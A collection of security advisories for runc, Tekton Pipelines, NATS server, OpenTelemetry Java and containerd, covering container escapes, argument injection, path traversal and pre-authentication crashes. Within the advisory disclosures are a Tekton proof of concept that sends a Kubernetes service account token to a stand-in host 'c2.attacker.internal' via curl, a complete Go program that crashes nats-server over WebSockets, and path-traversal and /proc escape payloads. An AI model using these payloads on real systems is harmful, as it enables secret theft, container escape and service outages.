See how linuxfoundation compares to other vendors in security performance
Impact
In runc 1.1.11 and earlier, due to an internal file descriptor leak, an attacker could cause a newly-spawned container process (from runc exec) to have a working directory in the host filesystem namespace, allowing for a container escape by giving access to the host filesystem ("attack 2"). The same attack could be used by a malicious image to allow a container process to gain access to the host filesystem through runc run ("attack 1"). Variants of attacks 1 and 2 could be also be used to overwrite semi-arbitrary host binaries, allowing for complete container escapes ("attack 3a" and "attack 3b").
Strictly speaking, while attack 3a is the most severe from a CVSS perspective, attacks 2 and 3b are arguably more dangerous in practice because they allow for a breakout from inside a container as opposed to requiring a user execute a malicious image. The reason attacks 1 and 3a are scored higher is because being able to socially engineer users is treated as a given for UI:R vectors, despite attacks 2 and 3b requiring far more minimal user interaction (just reasonable runc exec operations on a container the attacker has access to). In any case, all four attacks can lead to full control of the host system.
Attack 1: process.cwd "mis-configuration"
In runc 1.1.11 and earlier, several file descriptors were inadvertently leaked internally within runc into runc init, including a handle to the host's /sys/fs/cgroup (this leak was added in v1.0.0-rc93). If the container was configured to have process.cwd set to /proc/self/fd/7/ (the actual fd can change depending on file opening order in runc), the resulting pid1 process will have a working directory in the host mount namespace and thus the spawned process can access the entire host filesystem. This alone is not an exploit against runc, however a malicious image could make any innocuous-looking non-/ path a symlink to /proc/self/fd/7/ and thus trick a user into starting a container whose binary has access to the host filesystem.
Furthermore, prior to runc 1.1.12, runc also did not verify that the final working directory was inside the container's mount namespace after calling chdir(2) (as we have already joined the container namespace, it was incorrectly assumed there would be no way to chdir outside the container after pivotroot(2)).
The CVSS score for this attack is CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N (8.2, high severity).
Note that this attack requires a privileged user to be tricked into running a malicious container image. It should be noted that when using higher-level runtimes (such as Docker or Kubernetes), this exploit can be considered critical as it can be done remotely by anyone with the rights to start a container image (and can be exploited from within Dockerfiles using ONBUILD in the case of Docker).
Attack 2: runc exec container breakout
(This is a modification of attack 1, constructed to allow for a process inside a container to break out.)
The same fd leak and lack of verification of the working directory in attack 1 also apply to runc exec. If a malicious process inside the container knows that some administrative process will call runc exec with the --cwd argument and a given path, in most cases they can replace that path with a symlink to /proc/self/fd/7/. Once the container process has executed the container binary, PRSETDUMPABLE protections no longer apply and the attacker can open /proc/$execpid/cwd to get access to the host filesystem.
runc exec defaults to a cwd of / (which cannot be replaced with a symlink), so this attack depends on the attacker getting a user (or some administrative process) to use --cwd and figuring out what path the target working directory is. Note that if the target working directory is a parent of the program binary being executed, the attacker might be unable to replace the path with a symlink (the execve will fail in most cases, unless the host filesystem layout specifically matches the container layout in specific ways and the attacker knows which binary the runc exec is executing).
The CVSS score for this attack is CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N (7.2, high severity).
Attacks 3a and 3b: process.args host binary overwrite attack
(These are modifications of attacks 1 and 2, constructed to overwrite a host binary by using execve to bring a magic-link reference into the container.)
Attacks 1 and 2 can be adapted to overwrite a host binary by using a path like /proc/self/fd/7/../../../bin/bash as the process.args binary argument, causing a host binary to be executed by a container process. The /proc/$pid/exe handle can then be used to overwrite the host binary, as seen in CVE-2019-5736 (note that the same #! trick can be used to avoid detection as an attacker). As the overwritten binary could be something like /bin/bash, as soon as a privileged user executes the target binary on the host, the attacker can pivot to gain full access to the host.
For the purposes of CVSS scoring:
Attack 3a is attack 1 but adapted to overwrite a host binary, where a malicious image is set up to execute /proc/self/fd/7/../../../bin/bash and run a shell script that overwrites /proc/self/exe, overwriting the host copy of /bin/bash. The CVSS score for this attack is CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H (8.6, high severity). Attack 3b is attack 2 but adapted to overwrite a host binary, where the malicious container process overwrites all of the possible runc exec target binaries inside the container (such as /bin/bash) such that a host target binary is executed and then the container process opens /proc/$pid/exe to get access to the host binary and overwrite it. The CVSS score for this attack is CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H (8.2, high severity).
As mentioned in attack 1, while 3b is scored lower it is more dangerous in practice as it doesn't require a user to run a malicious image.
Patches runc 1.1.12 has been released, and includes patches for this issue. Note that there are four separate fixes applied:
Checking that the working directory is actually inside the container by checking whether os.Getwd returns ENOENT (Linux provides a way of detecting if cwd is outside the current namespace root). This explicitly blocks runc from executing a container process when inside a non-container path and thus eliminates attacks 1 and 2 even in the case of fd leaks. Close all internal runc file descriptors in the final stage of runc init, right before execve. This ensures that internal file descriptors cannot be used as an argument to execve and thus eliminates attacks 3a and 3b, even in the case of fd leaks. This requires hooking into some Go runtime internals to make sure we don't close critical Go internal file descriptors. Fixing the specific fd leaks that made these bug exploitable (mark /sys/fs/cgroup as OCLOEXEC and backport a fix for some os.File leaks). In order to protect against future runc init file descriptor leaks, mark all non-stdio files as OCLOEXEC before executing runc init.
Other Runtimes
We have discovered that several other container runtimes are either potentially vulnerable to similar attacks, or do not have sufficient protection against attacks of this nature. We recommend other container runtime authors look at our patches and make sure they at least add a getcwd() != ENOENT check as well as consider whether closerange(3, UINTMAX, CLOSERANGECLOEXEC) before executing their equivalent of runc init is appropriate.
crun 1.12 does not leak any useful file descriptors into the runc init-equivalent process (so this attack is not exploitable as far as we can tell), but no care is taken to make sure all non-stdio files are OCLOEXEC and there is no check after chdir(2) to ensure the working directory is inside the container. If a file descriptor happened to be leaked in the future, this could be exploitable. In addition, any file descriptors passed to crun are not closed until the container process is executed, meaning that easily-overlooked programming errors by users of crun can lead to these attacks becoming exploitable. youki 0.3.1 does not leak any useful file descriptors into the runc init-equivalent process (so this attack is not exploitable as far as we can tell) however this appears to be pure luck. youki does leak a directory file descriptor from the host mount namespace, but it just so happens that the directory is the rootfs of the container (which then gets pivotroot'd into and so ends up as a in-root path thanks to chrootfsrefs). In addition, no care is taken to make sure all non-stdio files are OCLOEXEC and there is no check after chdir(2) to ensure the working directory is inside the container. If a file descriptor happened to be leaked in the future, this could be exploitable. In addition, any file descriptors passed to youki are not closed until the container process is executed, meaning that easily-overlooked programming errors by users of youki can lead to these attacks becoming exploitable. LXC 5.0.3 does not appear to leak any useful file descriptors, and they have comments noting the importance of not leaking file descriptors in lxc-attach. However, they don't seem to have any proactive protection against file descriptor leaks at the point of chdir such as using closerange(...) (they do have RAII-like dofclose closers but those don't necessarily stop all leaks in this context) nor do they have any check after chdir(2) to ensure the working directory is inside the container. Unfortunately it seems they cannot use CLOSERANGECLOEXEC because they don't need to re-exec themselves.
Workarounds For attacks 1 and 2, only permit containers (and runc exec) to use a process.cwd of /. It is not possible for / to be replaced with a symlink (the path is resolved from within the container's mount namespace, and you cannot change the root of a mount namespace or an fs root to a symlink).
For attacks 1 and 3a, only permit users to run trusted images.
For attack 3b, there is no practical workaround other than never using runc exec because any binary you try to execute with runc exec could end up being a malicious binary target.
See Also https://www.cve.org/CVERecord?id=CVE-2024-21626 https://github.com/opencontainers/runc/releases/tag/v1.1.12 The runc 1.1.12 merge commit https://github.com/opencontainers/runc/commit/a9833ff391a71b30069a6c3f816db113379a4346, which contains the following security patches: https://github.com/opencontainers/runc/commit/506552a88bd3455e80a9b3829568e94ec0160309 https://github.com/opencontainers/runc/commit/0994249a5ec4e363bfcf9af58a87a722e9a3a31b https://github.com/opencontainers/runc/commit/fbe3eed1e568a376f371d2ced1b4ac16b7d7adde https://github.com/opencontainers/runc/commit/284ba3057e428f8d6c7afcc3b0ac752e525957df https://github.com/opencontainers/runc/commit/b6633f48a8c970433737b9be5bfe4f25d58a5aa7 https://github.com/opencontainers/runc/commit/683ad2ff3b01fb142ece7a8b3829de17150cf688 https://github.com/opencontainers/runc/commit/e9665f4d606b64bf9c4652ab2510da368bfbd951
Credits
Thanks to Rory McNamara from Snyk for discovering and disclosing the original vulnerability (attack 1) to Docker, @lifubang from acmcoder for discovering how to adapt the attack to overwrite host binaries (attack 3a), and Aleksa Sarai from SUSE for discovering how to adapt the attacks to work as container breakouts using runc exec (attacks 2 and 3b).
Summary
The git resolver's revision parameter is passed directly as a positional argument to git fetch without any validation that it does not begin with a - character. Because git parses flags from mixed positional arguments, an attacker can inject arbitrary git fetch flags such as --upload-pack=<binary>. Combined with the validateRepoURL function explicitly permitting URLs that begin with / (local filesystem paths), a tenant who can submit ResolutionRequest objects can chain these two behaviors to execute an arbitrary binary on the resolver pod. The tekton-pipelines-resolvers ServiceAccount holds cluster-wide get/list/watch on all Secrets, so code execution on the resolver pod enables full cluster-wide secret exfiltration.
Details
Root Cause 1 — Unvalidated revision parameter passed to git fetch
pkg/resolution/resolver/git/repository.go:85:
go // pkg/resolution/resolver/git/repository.go lines 84-96 // 'revision' is the raw user-supplied string from the ResolutionRequest param. // It is passed verbatim as a positional argument to git fetch: func (repo repository) checkout(ctx context.Context, revision string) error { , err := repo.execGit(ctx, "fetch", "origin", revision, "--depth=1") // When revision == "--upload-pack=/usr/bin/curl", git parses it as the // --upload-pack flag, not as a refspec — executing the binary locally. if err != nil { return fmt.Errorf("fetch: %w", err) } , err = repo.execGit(ctx, "checkout", "FETCHHEAD") return err }
execGit invokes exec.CommandContext("git", ...) — no shell is used, so shell metacharacters cannot be injected. However, git itself parses flags from mixed positional arguments. When revision = "--upload-pack=/path/to/binary", git receives this as the flag --upload-pack=/path/to/binary, not as a refspec. PopulateDefaultParams (resolver.go:418–424) applies only a leading-slash strip and a containsDotDot check on the pathInRepo parameter; the revision parameter receives no validation at all.
Root Cause 2 — validateRepoURL explicitly permits local filesystem paths
pkg/resolution/resolver/git/resolver.go:154-158:
go // validateRepoURL validates if the given URL is a valid git, http, https URL or // starting with a / (a local repository). func validateRepoURL(url string) bool { pattern := ^(/|[^@]+@[^:]+|(git|https?)://) re := regexp.MustCompile(pattern) return re.MatchString(url) }
Any URL beginning with / passes validation and is used directly as the argument to git clone. This means a local filesystem path such as /tmp/some-repo is a valid resolver URL.
Exploit Chain
--upload-pack=<binary> causes git to execute the specified binary as the upload-pack server when communicating with the remote. For local-path remotes (/path), git invokes the binary on the resolver pod itself with the repository path as its sole argument. Because the argument is passed via exec.Command as a single --upload-pack=<binary> string (not split by a shell), only binaries at known paths can be invoked — but several useful binaries exist in the resolver pod image (e.g., /bin/sh, /usr/bin/curl, /bin/cp).
Attack complexity is High because the exploit requires either: - A valid git repository at a known, predicable path on the resolver pod (e.g., /tmp/<reponame>-<suffix> from a concurrent resolution), or - A default-URL configuration pointing at a local path
PoC
bash Step 1: Set up a local git repository to serve as the "origin" (in a real attack, the attacker would time this against a concurrent clone or use any pre-existing git repo path on the resolver pod) git init /tmp/localrepo && cd /tmp/localrepo && git commit --allow-empty -m "init"
Step 2: Craft a ResolutionRequest with injected --upload-pack flag kubectl create -f - <<'EOF' apiVersion: resolution.tekton.dev/v1beta1 kind: ResolutionRequest metadata: name: revision-injection-poc namespace: default labels: resolution.tekton.dev/type: git spec: params: - name: url value: /tmp/localrepo - name: revision value: "--upload-pack=/usr/bin/curl http://c2.attacker.internal/$(cat /var/run/secrets/kubernetes.io/serviceaccount/token | base64 -w0)" - name: pathInRepo value: README.md EOF
The resolver pod executes: git -C <tmpdir> fetch origin \ "--upload-pack=/usr/bin/curl http://c2.attacker.internal/..." \ --depth=1 For single-argument binaries (/bin/sh, /usr/bin/env, etc.): git -C <tmpdir> fetch origin "--upload-pack=/bin/sh" --depth=1 Executes /bin/sh with the local repository path as argv[1]. From /bin/sh, the attacker can use a pre-staged script (e.g., written via a workspace volume) to achieve arbitrary command execution.
Verified: git fetch origin --upload-pack=/tmp/test-exec.sh --depth=1 executes test-exec.sh on the local machine even when origin is a local filesystem path. Exit code 0 was observed with the test binary executed successfully.
Impact
- Code execution on the resolver pod when an attacker can stage or predict a valid git repository path in /tmp on the resolver pod. - Full cluster-wide Secret exfiltration: The tekton-pipelines-resolvers ServiceAccount is bound to a ClusterRole that grants get/list/watch on all Secrets in all namespaces (config/resolvers/200-clusterrole.yaml). Code execution on the resolver pod is therefore equivalent to reading every Secret in the cluster. - Privilege escalation: Secrets typically include kubeconfig files, cloud provider credentials, and API tokens — reading them enables lateral movement to cloud infrastructure. - Both the deprecated resolver (pkg/resolution/resolver/git/) and the current resolver (pkg/remoteresolution/resolver/git/) share the same validateRepoURL, PopulateDefaultParams, and checkout implementation via the shared git package. Both are affected.
Recommended Fix
Fix 1 — Validate that revision does not begin with - in PopulateDefaultParams:
go if strings.HasPrefix(paramsMap[RevisionParam], "-") { return nil, fmt.Errorf("invalid revision %q: must not begin with '-'", paramsMap[RevisionParam]) }
Fix 2 — Restrict validateRepoURL to remote URLs only (remove local-path support in production builds, or add an explicit admin opt-in feature flag):
go func validateRepoURL(url string) bool { pattern := ^([^@]+@[^:]+|(git|https?)://) re := regexp.MustCompile(pattern) return re.MatchString(url) }
Applying Fix 1 alone is sufficient to prevent the argument injection. Fix 2 eliminates the enabling condition (local-path remotes for which --upload-pack runs locally) and reduces attack surface further.
Background
NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.
The nats-server provides an optional monitoring port, which provides access to sensitive data. The nats-server can take certain configuration options on the command-line instead of requiring a configuration file.
Problem Description
If a nats-server is run with static credentials for all clients provided via argv (the command-line), then those credentials are visible to any user who can see the monitoring port, if that too is enabled.
The /debug/vars end-point contains an unredacted copy of argv.
Patches
Fixed in nats-server 2.12.6 & 2.11.15
Workarounds
The NATS Maintainers are bemused at the concept of someone deploying a real configuration using --pass to avoid a config file, but also enabling monitoring.
Configure credentials inside a configuration file instead of via argv.
Do not enable the monitoring port if using secrets in argv.
Best practice remains to not expose the monitoring port to the Internet, or to untrusted network sources.
Background
NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.
The nats-server allows hub/spoke topologies using "leafnode" connections by other nats-servers.
Problem Description
A client which can connect to the leafnode port can crash the nats-server with a certain malformed message pre-authentication.
Affected Versions
Any version before v2.12.6 or v2.11.15
Workarounds
1. Disable leafnode support if not needed. 2. Restrict network connections to your leafnode port, if plausible without compromising the service offered.
References
This document is canonically: <https://advisories.nats.io/CVE/secnote-2026-10.txt> GHSA advisory: <https://github.com/nats-io/nats-server/security/advisories/GHSA-vprv-35vv-q339> MITRE CVE entry: <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33218>
Background
NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.
The nats-server offers a WebSockets client service, used in deployments where browsers are the NATS clients.
Problem Description
A malicious client which can connect to the WebSockets port can cause unbounded memory use in the nats-server before authentication; this requires sending a corresponding amount of data.
This is a milder variant of NATS-advisory-ID 2026-02 (aka CVE-2026-27571; GHSA-qrvq-68c2-7grw). That earlier issue was a compression bomb, this vulnerability is not. Attacks against this new issue thus require significant client bandwidth.
Affected Versions
Any version before v2.12.6 or v2.11.15
Workarounds
Disable websockets if not required for project deployment.
Background
NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.
The nats-server provides an MQTT client interface.
Problem Description
For MQTT deployments using usercodes/passwords: MQTT passwords are incorrectly classified as a non-authenticating identity statement (JWT) and exposed via monitoring endpoints.
Affected Versions
Any version before v2.12.6 or v2.11.15
Workarounds
Ensure monitoring end-points are adequately secured.
Best practice remains to not expose the monitoring endpoint to the Internet or other untrusted network users.
Background
NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.
The nats-server provides an MQTT client interface.
Problem Description
When using ACLs on message subjects, these ACLs were not applied in the $MQTT.> namespace, allowing MQTT clients to bypass ACL checks for MQTT subjects.
Affected Versions
Any version before v2.12.6 or v2.11.15
Workarounds
None.
Summary
The Tekton Pipelines git resolver is vulnerable to path traversal via the pathInRepo parameter. A tenant with permission to create ResolutionRequests (e.g. by creating TaskRuns or PipelineRuns that use the git resolver) can read arbitrary files from the resolver pod's filesystem, including ServiceAccount tokens. The file contents are returned base64-encoded in resolutionrequest.status.data.
Details
The git resolver's getFileContent() function in pkg/resolution/resolver/git/repository.go constructs a file path by joining the repository clone directory with the user-supplied pathInRepo parameter:
go fileContents, err := os.ReadFile(filepath.Join(repo.directory, path))
The pathInRepo parameter is not validated for path traversal sequences. An attacker can supply values like ../../../../etc/passwd to escape the cloned repository directory and read arbitrary files from the resolver pod's filesystem.
The vulnerability was introduced in commit 318006c4e3a5 which switched the git resolver from the go-git library (using an in-memory filesystem that cannot be escaped) to shelling out to the git binary and reading files with os.ReadFile() from the real filesystem.
Impact
Arbitrary file read — A namespace-scoped tenant who can create TaskRuns or PipelineRuns with git resolver parameters can read any file readable by the resolver pod process.
Credential exfiltration and privilege escalation — The resolver pod's ServiceAccount token is readable at a well-known path (/var/run/secrets/kubernetes.io/serviceaccount/token). In the default RBAC configuration, the tekton-pipelines-resolvers ServiceAccount has get, list, and watch permissions on secrets cluster-wide. An attacker who exfiltrates this token gains the ability to read all Secrets across all namespaces, escalating from namespace-scoped access to cluster-wide secret access.
Patches
Fixed in 1.0.x, 1.3.x, 1.6.x, 1.9.x, 1.10.x.
The fix validates pathInRepo to reject paths containing .. components at parameter validation time, and adds a containment check using filepath.EvalSymlinks() to prevent symlink-based escapes from attacker-controlled repositories.
Workarounds
There is no workaround other than restricting which users can create TaskRuns, PipelineRuns, or ResolutionRequests that use the git resolver. Administrators can also reduce the impact by scoping the resolver pod's ServiceAccount RBAC permissions using a custom ClusterRole with more restrictive rules.
Affected Versions
All releases from v1.0.0 through v1.10.0, including all patch releases:
- v1.0.0, v1.1.0, v1.2.0 - v1.3.0, v1.3.1, v1.3.2 - v1.4.0, v1.5.0, v1.6.0, v1.7.0 - v1.9.0, v1.9.1, v1.10.0
Releases prior to v1.0.0 (e.g. v0.70.0 and earlier) are not affected because they used the go-git library's in-memory filesystem where path traversal cannot escape the git worktree.
Acknowledgments
This vulnerability was reported by Oleh Konko (@1seal), who provided a thorough vulnerability analysis, proof-of-concept, and review of the fix. Thank you!
References
- Fix: (link to merged PR/commit) - Introduced in: 318006c4e3a5 ("fix: resolve Git Anonymous Resolver excessive memory usage")
Background
NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.
When configured to accept leafnode connections (for a hub/spoke topology of multiple nats-servers), then the default configuration allows for negotiating compression; a malicious remote NATS server can trigger a server panic via that compression.
Problem Description
If the nats-server has the "leafnode" configuration enabled (not default), then anyone who can connect can crash the nats-server by triggering a panic. This happens pre-authentication and requires that compression be enabled (which it is, by default, when leafnodes are used).
Context: a NATS server can form various clustering topologies, including local clusters, and superclusters of clusters, but leafnodes allow for separate administrative domains to link together with limited data communication; eg, a server in a moving vehicle might use a local leafnode for agents to connect to, and sync up to a central service as and when available. The leafnode configuration here is where the central server allows other NATS servers to connect into it, almost like regular NATS clients. Documentation examples typically use port 7422 for leafnode communications.
Affected Versions
Version 2, prior to v2.11.14 or v2.12.5
Workarounds
Disable compression on the leafnode port:
leafnodes { port: 7422 compression: off }
Background
NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.
When using WebSockets, a malicious client can trigger a server crash with crafted frames, before authentication.
Problem Description
A missing sanity check on a WebSockets frame could trigger a server panic in the nats-server. This happens before authentication, and so is exposed to anyone who can connect to the websockets port.
Affected versions
Version 2 from v2.2.0 onwards, prior to v2.11.14 or v2.12.5
Workarounds
This only affects deployments which use WebSockets and which expose the network port to untrusted end-points. If able to do so, a defense in depth of restricting either of these will mitigate the attack.
Solution
Upgrade the NATS server to a fixed version.
Credits
This was reported to the NATS maintainers by GitHub user Mistz1. Also independently reported by GitHub user jiayuqi7813.
-----
Report by @Mistz1
Summary
An unauthenticated remote attacker can crash the entire nats-server process by sending a single malicious WebSocket frame (15 bytes after the HTTP upgrade handshake). The server fails to validate the RFC 6455 §5.2 requirement that the most significant bit of a 64-bit extended payload length must be zero. The resulting uint64 → int conversion produces a negative value, which bypasses the bounds clamp and triggers an unrecovered panic in the connection's goroutine — killing the entire server process and disconnecting all clients. This affects all platforms (64-bit and 32-bit).
Details
Vulnerable code: server/websocket.go line 278
go r.rem = int(binary.BigEndian.Uint64(tmpBuf))
When a WebSocket frame uses the 64-bit extended payload length (length code 127), the server reads 8 bytes and casts the raw uint64 directly to int with no validation. RFC 6455 §5.2 states: "the most significant bit MUST be 0" — but nats-server never checks this.
Attack chain:
1. The attacker sends a WebSocket frame with the MSB set in the 64-bit length field (e.g., 0x8000000000000001).
2. At line 278, int(0x8000000000000001) produces -9223372036854775807 on 64-bit Go (two's complement reinterpretation — Go does not panic on integer conversion overflow).
3. r.rem is now negative. At line 307–311, the bounds clamp fails:
go n = r.rem // n = -9223372036854775807 if pos+n > max { // 14 + (-huge) = negative, NOT > max → FALSE n = max - pos // clamp NEVER fires } b = buf[pos : pos+n] // buf[14 : -9223372036854775793] → PANIC
The addition pos + n wraps to a negative value (Go signed integer overflow is defined behavior — it wraps silently). Since the negative result is never greater than max, the clamp is skipped. The slice expression at line 311 reaches the Go runtime bounds check, which panics.
4. There is no defer recover() anywhere in the goroutine chain: - startGoRoutine: go func() { f() }() — no recovery - readLoop: defer only does cleanup — no recovery
The unrecovered panic propagates to Go's runtime, which calls os.Exit(2). The entire nats-server process terminates.
5. The WebSocket frame is parsed in wsRead() called from readLoop(), which starts immediately after the HTTP upgrade — before any NATS CONNECT authentication. No credentials are required.
Why 15 bytes, not 14: The 14-byte frame header (opcode + length + mask key) exactly fills the read buffer on the first call, so pos == max and the payload loop at line 303 (if pos < max) is skipped. The poisoned r.rem persists in the wsReadInfo struct. One additional byte of "payload" is needed so that pos < max on either the same or next read, entering the panic path at line 311.
PoC
Server configuration (test-ws.conf): listen: 127.0.0.1:4222
websocket { listen: "127.0.0.1:9222" notls: true }
Start the server: bash nats-server -c test-ws.conf
Exploit (pocwscrash.go): go package main
import ( "bufio" "encoding/binary" "fmt" "net" "net/http" "os" "time" )
func main() { target := "127.0.0.1:9222" if len(os.Args) > 1 { target = os.Args[1] }
fmt.Printf("[] Connecting to %s...\n", target) conn, err := net.DialTimeout("tcp", target, 5time.Second) if err != nil { fmt.Printf("[-] Connection failed: %v\n", err) os.Exit(1) } defer conn.Close()
// WebSocket upgrade req, := http.NewRequest("GET", "http://"+target, nil) req.Header.Set("Upgrade", "websocket") req.Header.Set("Connection", "Upgrade") req.Header.Set("Sec-WebSocket-Key", "dGhlIHNhbXBsZSBub25jZQ==") req.Header.Set("Sec-WebSocket-Version", "13") req.Header.Set("Sec-WebSocket-Protocol", "nats") req.Write(conn)
conn.SetReadDeadline(time.Now().Add(5 time.Second)) resp, err := http.ReadResponse(bufio.NewReader(conn), req) if err != nil || resp.StatusCode != 101 { fmt.Printf("[-] Upgrade failed\n") os.Exit(1) } fmt.Println("[+] WebSocket established") conn.SetReadDeadline(time.Time{})
// Malicious frame: FIN+Binary, MASK+127, 8-byte length with MSB set, mask key, 1 payload byte frame := make([]byte, 15) frame[0] = 0x82 // FIN + Binary frame[1] = 0xFF // MASK + 127 (64-bit length) binary.BigEndian.PutUint64(frame[2:10], 0x8000000000000001) // MSB set frame[10] = 0xDE // Mask key frame[11] = 0xAD frame[12] = 0xBE frame[13] = 0xEF frame[14] = 0x41 // 1 payload byte
fmt.Printf("[] Sending: %x\n", frame) conn.Write(frame)
time.Sleep(2 time.Second)
// Verify crash conn2, err := net.DialTimeout("tcp", target, 3time.Second) if err != nil { fmt.Println("[!!!] SERVER IS DOWN — full process crash confirmed") os.Exit(0) } conn2.Close() fmt.Println("[-] Server still running") }
Run: bash go build -o pocwscrash pocwscrash.go ./pocwscrash
Observed server output before termination: panic: runtime error: slice bounds out of range [:-9223372036854775793]
goroutine 13 [running]: github.com/nats-io/nats-server/v2/server.(client).wsRead(...) server/websocket.go:311 +0xa93 github.com/nats-io/nats-server/v2/server.(client).readLoop(...) server/client.go:1434 +0x768 github.com/nats-io/nats-server/v2/server.(Server).startGoRoutine.func1() server/server.go:4078 +0x32
Tested against: nats-server v2.14.0-dev (commit a69f51f), Go 1.25.7, linux/amd64.
Impact
Vulnerability type: Pre-authentication remote denial of service (full process crash).
Who is impacted: Any nats-server deployment with WebSocket listeners enabled (websocket { ... } in config), including MQTT-over-WebSocket. This is an increasingly common configuration for browser-based and IoT clients. The attacker needs only TCP access to the WebSocket port — no credentials, no valid NATS client, no TLS client certificate.
Severity: A single unauthenticated TCP connection sending 15 bytes crashes the entire server process. All connected clients (NATS, WebSocket, MQTT, cluster routes, gateways, leaf nodes) are immediately disconnected. JetStream in-flight acknowledgments are lost and Raft consensus is disrupted in clustered deployments. The attack is repeatable on every server restart.
Affected platforms: All — confirmed on 64-bit (linux/amd64); 32-bit platforms (linux/386, linux/arm) are also affected with additional frame-desync consequences.
( NATS retains the original external report below the cut, with exploit details. This issue was also independently reported by GitHub user @jiayuqi7813 before publication; they provided a Python exploit.)
In versions prior to 2.26.1, the RMI instrumentation registered a custom endpoint that deserialized incoming data without applying serialization filters. An attacker with network access to a JMX or RMI port on an instrumented JVM could exploit this to potentially achieve remote code execution. All three of the following conditions must be true to exploit this vulnerability: 1. OpenTelemetry Java instrumentation is attached as a Java agent (-javaagent) 2. An RMI endpoint is network-reachable (e.g. JMX remote port, an RMI registry, or any application-exported RMI service) 3. A gadget-chain-compatible library is present on the classpath
Impact Arbitrary remote code execution with the privileges of the user running the instrumented JVM.
Recommendation Upgrade to version 2.26.1 or later.
Workarounds Set the following system property to disable the RMI integration:
-Dotel.instrumentation.rmi.enabled=false
Credits This vulnerability was responsibly disclosed in coordination with Datadog.
Impact
An overly broad default permission vulnerability was found in containerd.
- /var/lib/containerd was created with the permission bits 0o711, while it should be created with 0o700 - Allowed local users on the host to potentially access the metadata store and the content store - /run/containerd/io.containerd.grpc.v1.cri was created with 0o755, while it should be created with 0o700 - Allowed local users on the host to potentially access the contents of Kubernetes local volumes. The contents of volumes might include setuid binaries, which could allow a local user on the host to elevate privileges on the host. - /run/containerd/io.containerd.sandbox.controller.v1.shim was created with 0o711, while it should be created with 0o700
The directory paths may differ depending on the daemon configuration. When the temp directory path is specified in the daemon configuration, that directory was also created with 0o711, while it should be created with 0o700.
Patches
This bug has been fixed in the following containerd versions:
2.2.0 2.1.5 2.0.7 1.7.29
Users should update to these versions to resolve the issue. These updates automatically change the permissions of the existing directories.
[!NOTE] /run/containerd and /run/containerd/io.containerd.runtime.v2.task are still created with 0o711. This is an expected behavior for supporting userns-remapped containers.
Workarounds
The system administrator on the host can manually chmod the directories to not have group or world accessible permisisons:
chmod 700 /var/lib/containerd chmod 700 /run/containerd/io.containerd.grpc.v1.cri chmod 700 /run/containerd/io.containerd.sandbox.controller.v1.shim
An alternative mitigation would be to run containerd in rootless mode.
Credits
The containerd project would like to thank David Leadbeater for responsibly disclosing this issue in accordance with the containerd security policy.
For more information
If you have any questions or comments about this advisory:
Open an issue in containerd Email us at security@containerd.io
To report a security issue in containerd:
Report a new vulnerability
Impact A bug was found in containerd where the CRI plugin propagates labels from an image config (LABEL instruction in Dockerfile) to a container without validation. This may result in executing an arbitrary command on the host, via a plugin that consumes container labels for some operations.
Patches This bug has been fixed in the following containerd versions:
2.3.2 2.2.5 2.1.9 2.0.10 1.7.33
Users should update to these versions to resolve the issue.
Workarounds Ensure that only trusted images are used.
Credits The containerd project would like to thank Anthropic Research, in collaboration with Claude, the GKE Security Team using Gemini, and Robert Prast (@robertprast) for independently discovering and responsibly disclosing this issue in accordance with the containerd security policy.
For more information
If you have any questions or comments about this advisory:
Open an issue in containerd Email us at security@containerd.io
To report a security issue in containerd: Report a new vulnerability Email us at security@containerd.io
Impact
containerd's CRI implementation improperly trusts Container Device Interface (CDI) annotations found within untrusted checkpoint image metadata during container restoration. When restoring a container from a checkpoint, containerd preserves CDI-related annotations from the checkpoint archive rather than relying solely on the pod's create-time specification. This allows a user with pod creation permissions to bypass standard Kubernetes resource allocation and device plugin enforcement, injecting arbitrary CDI edits (such as device nodes and host mounts) into the restored container. Successful exploitation requires that the node has CDI enabled and contains a matching host CDI specification for the requested device; environments where CDI is disabled or lacking sensitive device specifications are not affected.
Patches
This bug has been fixed in the following containerd versions:
2.3.2 2.2.5 2.1.9
Users should update to these versions to resolve the issue. Recreating existing containers restored from untrusted checkpoints may be necessary to remove smuggled configuration.
Workarounds
Users can mitigate this issue by restricting the restoration of containers from untrusted checkpoint images. If Container Device Interface (CDI) capabilities are not utilized on the node, removing or temporarily relocating host CDI specifications from the default directories (/etc/cdi and /var/run/cdi) will eliminate the reachability of this vulnerability.
Credits
The containerd project would like to thank Robert Prast (@robertprast) for responsibly disclosing this issue in accordance with the containerd security policy.
For more information
If you have any questions or comments about this advisory:
Open an issue in containerd Email us at security@containerd.io
To report a security issue in containerd: Report a new vulnerability Email us at security@containerd.io
Impact ###
This attack is primarily a more sophisticated version of CVE-2019-19921, which was a flaw which allowed an attacker to trick runc into writing the LSM process labels for a container process into a dummy tmpfs file and thus not apply the correct LSM labels to the container process. The mitigation runc applied for CVE-2019-19921 was fairly limited and effectively only caused runc to verify that when runc writes LSM labels that those labels are actual procfs files.
Rather than using a fake tmpfs file for /proc/self/attr/<label>, an attacker could instead (through various means) make /proc/self/attr/<label> reference a real procfs file, but one that would still be a no-op (such as /proc/self/sched). This would have the same effect but would clear the "is a procfs file" check. Runc is aware that this kind of attack would be possible (even going so far as to discuss this publicly as "future work" at conferences), and runc is working on a far more comprehensive mitigation of this attack, but this security issue was disclosed before runc could complete this work.
In all known versions of runc, an attacker can trick runc into misdirecting writes to /proc to other procfs files through the use of a racing container with shared mounts (runc has also verified this attack is possible to exploit using a standard Dockerfile with docker buildx build as that also permits triggering parallel execution of containers with custom shared mounts configured). This redirect could be through symbolic links in a tmpfs or theoretically other methods such as regular bind-mounts.
